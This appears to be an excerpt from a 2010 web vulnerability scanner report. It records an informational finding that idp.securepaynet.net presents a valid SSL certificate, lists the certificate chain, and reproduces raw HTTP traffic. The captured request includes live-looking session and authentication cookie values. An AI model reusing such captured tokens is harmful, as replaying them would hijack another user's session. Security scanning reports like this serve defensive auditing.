HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:20 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 93325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:17:17 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 164901
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
Issued to:
idp.securepaynet.net
Issued by:
Starfield Secure Certification Authority
Valid from:
Fri Mar 13 18:43:09 CDT 2009
Valid to:
Sun Apr 03 18:49:56 CDT 2011
Certificate chain #1
Issued to:
Starfield Secure Certification Authority
Issued by:
Starfield Class 2 Certification Authority
Valid from:
Wed Nov 15 19:15:40 CST 2006
Valid to:
Sun Nov 15 19:15:40 CST 2026
Certificate chain #2
Issued to:
Starfield Class 2 Certification Authority
Issued by:
Starfield Class 2 Certification Authority
Valid from:
Tue Jun 29 12:39:16 CDT 2004
Valid to:
Thu Jun 29 12:39:16 CDT 2034
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by Hoyt LLC at Thu Oct 21 21:21:13 CDT 2010.